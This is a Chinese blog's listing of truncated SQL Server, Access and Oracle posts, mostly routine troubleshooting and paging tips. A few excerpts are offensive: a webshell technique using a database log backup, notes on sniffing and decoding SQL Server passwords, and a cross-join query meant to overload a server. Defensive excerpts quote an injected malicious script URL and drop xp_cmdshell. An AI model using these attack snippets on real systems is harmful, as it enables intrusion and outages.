链接Access出现“找不到可安装的 ISAM”错误的问题

评论(1)浏览(308)分类:SQL及数据库
链接Access出现“找不到可安装的 ISAM”错误的问题今天碰到了这个问题“找不到可安装的 ISAM”错误,我就奇怪了,本地没问题的怎么传到服务器上就出错了。后面发现原来我这个程序上传到虚拟目录中,而在虚拟目录中使用ConfigurationManager.AppSettings[0]获取到的是跟目录下的web.config中的配置节点了,而不是虚拟目录中的web.config文件中配置节,我x。。。。其实有大部分是因为连接字符串错误..

C#连接Access数据时总报找不到dbo.mdb的问题

评论(0)浏览(97)分类:SQL及数据库
C#连接Access数据时总报找不到dbo.mdb的问题今天用OleDb连接Access时总报找不到dbo.mdb的问题。可是我的连接字符串中明明写着local.mdb。单步跟踪调试发现Connection中的连接字符串也是”Provider=Microsoft.Jet.OLEDB.4.0; Data Source=local.mdb;”,根本没有dbo.mdb的事。后来查过排查发现是schema的问题。SQL Server中有schema的概念所以我们一般都习惯写成dbo.xxxTable,所以如果你要..

如何在Access中参数化日期类型,以解决Data type mismatch in criteria expression的问题

评论(0)浏览(125)分类:SQL及数据库
如何在Access中参数化日期类型,以解决Data type mismatch in criteria expression的问题最近的一个项目要使用Access,用惯了SQLServer,一下子回到Access真是有点不太习惯。在使用Access插入日期数据时,总报Data type mismatch in criteria expression错误,虽然我使用了参数化方式传值,可是问题还无法得到解决。经测试,下面两种方法可以解决这个问题。方法一:使用参数化方法时只要使用DateTime.Now.ToString(),把日期类型转换为..

Access使用参数化UPDATE数据时,数据无法更新的问题

评论(0)浏览(98)分类:SQL及数据库
Access使用参数化UPDATE数据时,数据无法更新的问题 今天update access数据库时,使用了参数化的方式,结果不报错,但是数据也没有更新。经过google发现access使用参数化时,参数位置必须和赋值顺序相同才行,否则更新时就会出现数据无法更新但是也不报错的怪现象。 例如:update tablename set [a]=@a,[b]=@b where [id]=@id 那么你在加参数时,也必须先加@a,再加@b,最后加@id.也就是说必须要 cm..

SQL Server的备份还原功能之三:使用Copy的方式来备份数据库

评论(0)浏览(118)分类:SQL及数据库
SQL Server的备份还原功能之三:使用Copy的方式来备份数据库SQL Server允许使用简单的Copy方式来备份数据库的数据和日志文件吗?答案是肯定的。但前提是数据文件不再被SQL Server使用。当数据库处于活动状态,你不能简单的copy它的文件,推荐方式是使用完整数据库备份(备份类型)。这是因为数据库的数据和日志文件不能处于非一致状态。这会导致仅仅在事务日志中被修改的数据页可能无法写入数据文件。这也会..

SQL Server的备份还原功能之二:主要备份类型

评论(0)浏览(81)分类:SQL及数据库
SQL Server的备份还原功能之二:主要备份类型假设在下面几个时间段中,一个数据库积累插入了如下数据:1.完整数据库备份故名思意,完整数据库备份包括完整的数据库信息。它包括数据库的数据文件和备份结尾的部份活动事务日志。完整备份基本语法如下:BACKUP DATABASE AdventureWorks TO DISK = 'g:\backups\AdventureWorks.bak'2.差异性数据库备份差异性数据库备份包括自从上一次完整性备份..

SQL Server的备份还原功能之一:恢复模型

评论(0)浏览(94)分类:SQL及数据库
SQL Server的备份还原功能之一:恢复模型在SQL Server中,除了系统数据库外,你创建的每一个数据库都有三种可供选择的恢复模型: Simple(简单), full(完整), bulk-logged(批量日志)。 下面这条语句可以显示出所有在线数据库的恢复模型:SELECT name, (SELECT DATABASEPROPERTYEX(name, 'RECOVERY')) RecoveryModel FROM master..sysdatabases ORDER BY nameSQL Server 2005及以上版本也可..

ACCESS数据能否用SQL语句以TXT文件格式导入导出?

评论(0)浏览(192)分类:SQL及数据库
ACCESS数据能否用SQL语句以TXT文件格式导入导出?如题,要在Access数据库构建的网站上,进行 数据的导入导出还有什么简捷的方法吗?-------------------------------将数据导成TXT格式? 如是: +展开-SQLselect*into[text;databASE=d:\temp].123.txtfromtt--导入:select*intottfrom[text;databASE=d:\temp].123.txt -------------------------------在TXT文件所在目录建立schema.ini 内容 [12..

SQLSERVER 创建表 但其最大行大小 超过了每行的最大字节数(8060)三

评论(0)浏览(106)分类:SQL及数据库
SQLSERVER 创建表 但其最大行大小 超过了每行的最大字节数(8060)三五、SQL Server引用的各种对象的最大值 下表说明在 Microsoft SQL Server 数据库中定义的,或在 Transact-SQL 语句中引用的各种对象的最大值(数量或大小)。下表不包含 Microsoft SQL Server 2000 Windows CE 版。最大值(数量或大小)对象SQL Server 7.0SQL Server 2000批处理大小65,536 * 网络数据包大小165,536 * 网络数据包大小1每个排序字..

SQLSERVER 创建表 但其最大行大小 超过了每行的最大字节数(8060)二

评论(0)浏览(129)分类:SQL及数据库
SQLSERVER 创建表 但其最大行大小 超过了每行的最大字节数(8060)二四、SQL Server数据详解bit 整型 bit 数据类型是整型,其值只能是0、1或空值。这种数据类型用于存储只有两种可能值的数据,如Yes 或No、True 或Fa lse 、On 或Off int 整型 int 数据类型可以存储从- 231(-2147483648)到231 (2147483 647)之间的整数。存储到数据库的几乎所有数值型的数据都可以用这种数据类型。这种数据类型在数据库里占用4个字节..

SQLSERVER 创建表 但其最大行大小 超过了每行的最大字节数(8060)

评论(0)浏览(163)分类:SQL及数据库
SQLSERVER 创建表 但其最大行大小 超过了每行的最大字节数(8060)一、现象 一般出现这种现象都是适用sql文件在查询分析器里建库的时候,现象一般都是提示:已创建表 'xxxx',但其最大行大小(10438)超过了每行的最大字节数(8060)。如果结果行长度超过 8060 字节,则此表中行的 INSERT 或 UPDATE 将失败。 其中xxxx是你的建的表名,10438是你建表语句中可变长度列(如 nvarchar 或 varbinary)的总长度,8060..

110个oracle常用函数总结

评论(0)浏览(101)分类:SQL及数据库
110个oracle常用函数总结1. ASCII 返回与指定的字符对应的十进制数; SQL select ascii(A) A,ascii(a) a,ascii(0) zero,ascii( ) space from dual; A A ZERO SPACE --------- --------- --------- --------- 65 97 48 32 2. CHR 给出整数,返回对应的字符; SQL select chr(54740) zhao,chr(65) chr65 from dual; ZH C -- - 赵 A 3. CONCAT 连接两个字符串; SQL select con..

asp连接mssql“出现未找到提供程序。该程序可能未正确安装”错误

评论(0)浏览(369)分类:SQL及数据库
asp连接mssql“出现未找到提供程序。该程序可能未正确安装”错误环境IIS6+MSSQLServer2000+Win2003 sp2问题描述,asp连接mssql数据库,出现如下错误---------------------------------ADODB.Connection 错误 '800a0e7a' 未找到提供程序。该程序可能未正确安装。 /dbconn.asp,行 8 ---------------------------------网上找的解决方案如下网络上有很多帖子谈到ASP页面出现“未找到提供程序.该程序可能未正确安..

win2003系统SQL 2000中cd-key无法验证

评论(0)浏览(71)分类:SQL及数据库
win2003系统SQL 2000中cd-key无法验证解决windows 2003 server 安装SQL2000时CD-KEY无法验证的问题2008年01月11日 星期五 下午 07:47在windows 2003 server 以前版本的操作系统上好像从来没有出现过要输入CD KEY,但在windows 2003 server打上SP1和域控制器环境下却在安装过程中出现输入CDKEY的界面,提示提示无法验证产品密钥,CDKEY不对?解决办法如下:环境: windows 2003 server + S..

简单明了的Window2003系统下同时安装sql2000与sql2005的方法

评论(0)浏览(99)分类:SQL及数据库
简单明了的Window2003系统下同时安装sql2000与sql2005的方法经过自己的摸索,发现在Win2003下安装sql2000与sql2005也并不是那么的复杂,其实非常简单,网上很多关于这方面的内容,但是描述的都比较模糊,致使一些急需此正确方法的人走了很多弯路,而且问题多多,下面配合图片以及简单步骤说面整个安装过程,两个sql可以配合visual studio .net2005使用,Windows2003系统下安装sql2000 与sql2005的时候不用..

Microsoft SQL Server sqlvdir.dll ActiveX控件缓冲区溢出漏洞

评论(0)浏览(66)分类:SQL及数据库
Microsoft SQL Server sqlvdir.dll ActiveX控件缓冲区溢出漏洞Microsoft SQL Server sqlvdir.dll ActiveX控件缓冲区溢出漏洞受影响系统: Microsoft SQL Server 2000 SP4 Microsoft SQL Server 2000 SP3a Microsoft SQL Server 2000 SP3 Microsoft SQL Server 2000 SP2 Microsoft SQL Server 2000 SP1 Microsoft SQL Server 2000 描述: -----------------------------------------------------------------..

MSSQL SERVER2000 安全配置

评论(0)浏览(101)分类:SQL及数据库
MSSQL SERVER2000 安全配置将有安全问题的SQL过程删除.比较全面.一切为了安全! 删除了调用shell,注册表,COM组件的破坏权限MS SQL SERVER2000使用系统帐户登陆查询分析器运行以下脚本:use masterexec sp_dropextendedproc 'xp_cmdshell'exec sp_dropextendedproc 'xp_enumgroups'exec sp_dropextendedproc 'xp_loginconfig'exec sp_dropextendedproc 'xp_enumerrorlogs'e..

重装SQL时需要删除的文件

评论(0)浏览(260)分类:SQL及数据库
重装SQL时需要删除的文件今天重装MS SQL Server 2000,装了几次都提示出错,查看事件,显示driver={sql server};server=harry;UID=sa;PWD=;database=master [Microsoft][ODBC SQL Server Driver][Shared Memory]一般性网络错误。 [Microsoft][ODBC SQL Server Driver][Shared Memory]ConnectionRead (WrapperRead()). driver={sql server};server=harry;UID=sa;PWD=;dat..

MSSQL provider: TCP 提供程序, error: 0 - 指定的网络名不再可用。

评论(0)浏览(1371)分类:SQL及数据库
MSSQL provider: TCP 提供程序, error: 0 - 指定的网络名不再可用。今天调试程序的时候发现了这个问题,MSSQL连接出错,有点莫名其妙,看字面的意思是连接的地址不正确。。但是我的确填写对的了!于是乎上服务器去看了下,SQLSERVER正常啊。。。。有点找不到头绪了,网上翻了半天,貌似都是些废话! 看来只有自己动手,丰衣足食了。既然说地址不对,那好我就试试是不是真的不对,祭出MSSQL查询分析器。。果然连接..

SQL Server安装问题大全

评论(0)浏览(125)分类:SQL及数据库
SQL Server安装问题大全壹。WINDOWS XP系统上安装SQL server服务器版一.在SQL服务器的安装盘中找到MSDE这个目录,并且点击setup.exe安装它,过程简单直接下一步就OK了。二. 重启系统WINDOWSXP,这下就可以看到SQL服务的图标出现了。三. 再拿出SQL服务器版的安装光盘,直接安装客户端工具四、打开“企业管理器”到“SQL Server 组”下,将“[lcoal] (Windows NT)”改..

DB权限备份超时的解决办法

评论(0)浏览(85)分类:SQL及数据库
DB权限备份超时的解决办法有时候遇到目标网站数据库过大,导致备份超时的时候,我们可以通过以下语句进行备份拿webshell alter database CaanCn set RECOVERY FULL-- Drop table [banlg];create table [dbo].[banlg] ([cmd] [image])-- declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335393536 backup log @a to disk=@s with init-- insert into b..

Mssql 嗅探密文和明文对照表

评论(0)浏览(108)分类:SQL及数据库
Mssql 嗅探密文和明文对照表SQL Server在1433端口传输的数据大部分是明文的,这包括IP地址,连接用户名,成功和失败消息 这样一来,就很容易使用嗅探器嗅探在这个网段内SQL Server的相关信息,得到用户名和IP后,就 差口令了,其实SQL的口令加密是十分脆弱的,昨天我用了半小时,整理了一份口令字符对照表,在 分析SQL Server加密口令的时候,同时发现了SQL Server一个不大..

让服务器重启的死循环

评论(0)浏览(101)分类:SQL及数据库
让服务器重启的死循环网上找到的那个,偶试了下,估计是这几年CPU运算速度已经飞快了。。。所以有点过时了,试了好几个服务器!毛用都没有,特别是那个100平方根的。。。偶那破服务器3秒就出来结果了。。。直接汗颜,偶来丢个狠点的+展开-SQLselect*fromchapter,chapterasa1,chapterasa2,chapterasa3,chapterasa4,chapterasa5,chapterasa6,chapterasa7,chapterasa8,c..

SqlServer2005 高效分页存储过程

评论(0)浏览(91)分类:SQL及数据库
SqlServer2005 高效分页存储过程+展开-SQLSelect*FROM(selectROW_NUMBER()Over(orderbycf_iddesc)asrowId,*fromT_Test)asmytablewhererowIdbetween21and40每页20条,第2页ROW_NUMBER是SqlServer2005中的新特性以下是利用本方法和传统利用Set RowCount方法存储过程的效率比较结果:未建索引情况下:500w数据: 存储过程1分20秒 , 新方法1分18秒400w数据:存储过程47秒,新方法41秒..

批量删除MSSQL数据库被插入木马sql语句

评论(0)浏览(68)分类:SQL及数据库
批量删除MSSQL数据库被插入木马sql语句+展开-SQLDECLAREhCForEachCURSORGLOBALFORSelectN'update'+QUOTENAME(o.name)+N'set'+QUOTENAME(c.name)+N'=replace('+QUOTENAME(c.name)+',''《scriptsrc=http://hack.hackeye.com/cn.js》《/script》'','''')'FROMsysobjectso,syscolumnsc,systypestWhereo.id=c.idANDOBJECTPROPERTY(o.id,N'IsUserTable')=1ANDc.xusertype=t.xusertypeANDt.n..

.NET 使用存储过程分页

评论(0)浏览(76)分类:SQL及数据库
.NET 使用存储过程分页+展开-SQLCREATEPROCEDUREPageCut@tblNamevarchar(255),--表名@strGetFieldsvarchar(1000)='*',--需要返回的列@fldNamevarchar(255)='',--排序的字段名@PageSizeint=10,--页尺寸@PageIndexint=1,--页码@OrderTypebit=0,--设置排序类型,非0值则降序@strWherevarchar(1500)='',--查询条件(注意:不要加where)@Countsintout--返回记录总数,非0值则返..

千万级分页高效存储过程

评论(0)浏览(50)分类:SQL及数据库
千万级分页高效存储过程这两天测试了前几天写的SQL2005专用分页的存储过程,当数据量达到2千多万的时候,效率相当的低,每次执行都要8秒左右(CPU:Q6600)。不过在2百多万数据量的情况下性能还是蛮不错的,在网上找了找,发现这下面的这两个,其实还是一个,不过后面那个是灵活了许多,仅供参考。 +展开-SQL/******Object:StoredProcedure[dbo].[GetRecordFromPage]Sc..

SQL Server循环插入记录

评论(0)浏览(119)分类:SQL及数据库
SQL Server循环插入记录用变量循环插入记录,开发时需要测试记录,用这个方法很有用,记录下来方便以后备查,大家可以参考修改为其它数据库的SQL.+展开-SQLDECLARE@recordNmberintset@recordNmber=0--SELECTCOUNT(*)FROMtbl_guide_strategyWHILE(@recordNmber)$30BEGINset@recordNmber=@recordNmber+1INSERTINTO[tbl_guide_strategy]([name],[guide_type],[guid_model],[st..

在sql server 中执行带参数的存储过程及计算运行时间

评论(0)浏览(142)分类:SQL及数据库
在sql server 中执行带参数的存储过程及计算运行时间ALTER PROCEDURE [dbo].[CurrentPageInfo]-- 获得某一页的数据--@beginNo int = 0, --起始记录号(即从哪一条开始取)@count int = 100, --取的结果集的总数@resultColumns varchar(2000) = '*', --需要得到的字段(即column1,column2,......)@tableName varchar(2000), --需要查看的表名(即from table_name)@condition varchar(2000) = '', --查询..

SQL语句导入导出大全

评论(0)浏览(91)分类:SQL及数据库
SQL语句导入导出大全/******* 导出到excel EXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""' /*********** 导入Excel Select * FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions /*动态文件名 dec..